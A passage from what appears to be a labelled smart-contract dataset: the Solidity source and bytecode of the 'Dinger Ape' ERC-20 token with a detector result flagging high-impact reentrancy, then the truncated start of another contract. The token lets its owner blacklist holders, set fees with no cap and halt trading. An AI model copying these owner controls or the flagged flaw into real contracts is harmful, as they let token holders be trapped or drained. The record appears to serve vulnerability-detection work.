memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract dingerape is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dinger Ape"; string private constant _symbol = "DINGER APE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xf2D0a9A8Aa544D35602864c7235B56da23E6f678); address payable private _marketingAddress = payable(0xf2D0a9A8Aa544D35602864c7235B56da23E6f678); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b757600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611968565b610602565b005b34801561020a57600080fd5b5060408051808201909152600a81526944696e6765722041706560b01b60208201525b60405161023a9190611a2d565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a82565b6106a1565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611aae565b6106b8565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601554610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611aef565b610721565b34801561036f57600080fd5b506101fc61037e366004611b1c565b61076c565b34801561038f57600080fd5b506101fc6107b4565b3480156103a457600080fd5b506102c36103b3366004611aef565b6107ff565b3480156103c457600080fd5b506101fc610821565b3480156103d957600080fd5b506101fc6103e8366004611b37565b610895565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611aef565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610293565b34801561045a57600080fd5b506101fc610469366004611b1c565b6108c4565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600a81526944494e4745522041504560b01b602082015261022d565b3480156104c357600080fd5b506101fc6104d2366004611b37565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611b50565b61093b565b34801561050357600080fd5b50610263610512366004611a82565b610979565b34801561052357600080fd5b50610263610532366004611aef565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611b82565b6109da565b34801561058857600080fd5b506102c3610597366004611c06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611b37565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611aef565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611c3f565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611c74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611ca0565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611dba602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611c3f565b601655565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611c3f565b601855565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611c3f565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611c3f565b60005b82811015610a75578160056000868685818110610a2657610a26611c74565b9050602002016020810190610a3b9190611aef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611ca0565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611c3f565b601755565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611c3f565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601554600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601654811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6015546001600160a01b038381169116146110165760175481610fb3846107ff565b610fbd9190611cbb565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60185460165491925082101590821061103a5760165491505b8080156110515750601554600160a81b900460ff16155b801561106b57506015546001600160a01b03868116911614155b80156110805750601554600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506015546001600160a01b0385811691161480159061116157506015546001600160a01b03848116911614155b1561116e575060006111e8565b6015546001600160a01b03858116911614801561119957506014546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d657506014546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611475565b600081848411156112185760405162461bcd60e51b815260040161062c9190611a2d565b5060006112258486611cd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d96114a3565b90506112e583826114c6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611c74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611cea565b816001815181106113d3576113d3611c74565b6001600160a01b0392831660209182029290920101526014546113f99130911684610b94565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d07565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a7557610a75600e54600c55600f54600d55565b60008060006114b061162d565b90925090506114bf82826114c6565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115488761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a9908661173c565b6001600160a01b0389166000908152600260205260409020556115cb8161179b565b6115d584836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061164982826114c6565b82101561166657505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161062c9190611a2d565b5060006112258486611d78565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a3565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117498385611cbb565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b60006117a56114a3565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c6565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826118bd575060006106b2565b60006118c98385611d9a565b9050826118d68583611d78565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b803561196381611943565b919050565b6000602080838503121561197b57600080fd5b823567ffffffffffffffff8082111561199357600080fd5b818501915085601f8301126119a757600080fd5b8135818111156119b9576119b961192d565b8060051b604051601f19603f830116810181811085821117156119de576119de61192d565b6040529182528482019250838101850191888311156119fc57600080fd5b938501935b82851015611a2157611a1285611958565b84529385019392850192611a01565b98975050505050505050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9557600080fd5b8235611aa081611943565b946020939093013593505050565b600080600060608486031215611ac357600080fd5b8335611ace81611943565b92506020840135611ade81611943565b929592945050506040919091013590565b600060208284031215611b0157600080fd5b81356112e581611943565b8035801515811461196357600080fd5b600060208284031215611b2e57600080fd5b6112e582611b0c565b600060208284031215611b4957600080fd5b5035919050565b60008060008060808587031215611b6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9757600080fd5b833567ffffffffffffffff80821115611baf57600080fd5b818601915086601f830112611bc357600080fd5b813581811115611bd257600080fd5b8760208260051b8501011115611be757600080fd5b602092830195509350611bfd9186019050611b0c565b90509250925092565b60008060408385031215611c1957600080fd5b8235611c2481611943565b91506020830135611c3481611943565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb457611cb4611c8a565b5060010190565b60008219821115611cce57611cce611c8a565b500190565b600082821015611ce557611ce5611c8a565b500390565b600060208284031215611cfc57600080fd5b81516112e581611943565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611c8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027a450055fb49098c9b33f2ed6365f1f1800256f58ca043f1ede066de547190064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,557
0x9722EBf15ABc714882c07aFa4D4fdCBE36C7A6ED
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as 